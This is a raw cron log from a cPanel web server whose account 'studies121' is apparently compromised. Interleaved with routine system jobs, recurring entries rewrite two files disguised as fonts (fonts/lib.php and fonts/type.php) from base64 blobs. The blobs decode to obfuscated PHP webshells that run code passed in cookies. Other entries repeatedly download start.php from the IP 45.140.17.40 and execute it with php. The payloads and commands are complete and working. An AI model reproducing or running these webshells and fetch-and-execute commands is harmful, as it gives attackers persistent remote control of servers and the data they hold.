Sep 11 12:23:01 ip-184-168-122-23 CROND[1254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:23:01 ip-184-168-122-23 CROND[1255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:23:01 ip-184-168-122-23 CROND[1257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:24:01 ip-184-168-122-23 CROND[1373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:24:01 ip-184-168-122-23 CROND[1374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:24:01 ip-184-168-122-23 CROND[1377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:24:01 ip-184-168-122-23 CROND[1376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:24:01 ip-184-168-122-23 CROND[1375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:25:01 ip-184-168-122-23 CROND[1565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:25:01 ip-184-168-122-23 CROND[1566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:25:01 ip-184-168-122-23 CROND[1569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:25:01 ip-184-168-122-23 CROND[1570]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:25:01 ip-184-168-122-23 CROND[1571]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 12:25:01 ip-184-168-122-23 CROND[1573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:25:01 ip-184-168-122-23 CROND[1574]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:26:01 ip-184-168-122-23 CROND[1820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:26:01 ip-184-168-122-23 CROND[1821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:26:01 ip-184-168-122-23 CROND[1822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:26:01 ip-184-168-122-23 CROND[1825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:26:01 ip-184-168-122-23 CROND[1824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:27:01 ip-184-168-122-23 CROND[2021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:27:01 ip-184-168-122-23 CROND[2024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:27:01 ip-184-168-122-23 CROND[2023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:27:01 ip-184-168-122-23 CROND[2026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:28:01 ip-184-168-122-23 CROND[2206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:28:01 ip-184-168-122-23 CROND[2208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:28:01 ip-184-168-122-23 CROND[2209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:28:01 ip-184-168-122-23 CROND[2210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:28:01 ip-184-168-122-23 CROND[2212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:29:02 ip-184-168-122-23 CROND[2333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:29:02 ip-184-168-122-23 CROND[2335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:29:02 ip-184-168-122-23 CROND[2336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:29:02 ip-184-168-122-23 CROND[2337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:30:02 ip-184-168-122-23 CROND[2527]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 11 12:30:02 ip-184-168-122-23 CROND[2526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:30:02 ip-184-168-122-23 CROND[2534]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:30:02 ip-184-168-122-23 CROND[2530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:30:02 ip-184-168-122-23 CROND[2531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:30:02 ip-184-168-122-23 CROND[2529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:30:02 ip-184-168-122-23 CROND[2532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:30:02 ip-184-168-122-23 CROND[2536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:30:02 ip-184-168-122-23 CROND[2533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:31:01 ip-184-168-122-23 CROND[2790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:31:01 ip-184-168-122-23 CROND[2792]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 12:31:01 ip-184-168-122-23 CROND[2793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:31:01 ip-184-168-122-23 CROND[2794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:31:01 ip-184-168-122-23 CROND[2795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:32:01 ip-184-168-122-23 CROND[3011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:32:01 ip-184-168-122-23 CROND[3013]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:32:01 ip-184-168-122-23 CROND[3014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:32:01 ip-184-168-122-23 CROND[3015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:32:01 ip-184-168-122-23 CROND[3016]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:33:01 ip-184-168-122-23 CROND[3279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:33:01 ip-184-168-122-23 CROND[3278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:33:01 ip-184-168-122-23 CROND[3280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:33:01 ip-184-168-122-23 CROND[3281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:34:01 ip-184-168-122-23 CROND[3461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:34:01 ip-184-168-122-23 CROND[3463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:34:01 ip-184-168-122-23 CROND[3465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:34:02 ip-184-168-122-23 CROND[3462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:34:02 ip-184-168-122-23 CROND[3466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:35:01 ip-184-168-122-23 CROND[3627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:35:01 ip-184-168-122-23 CROND[3629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
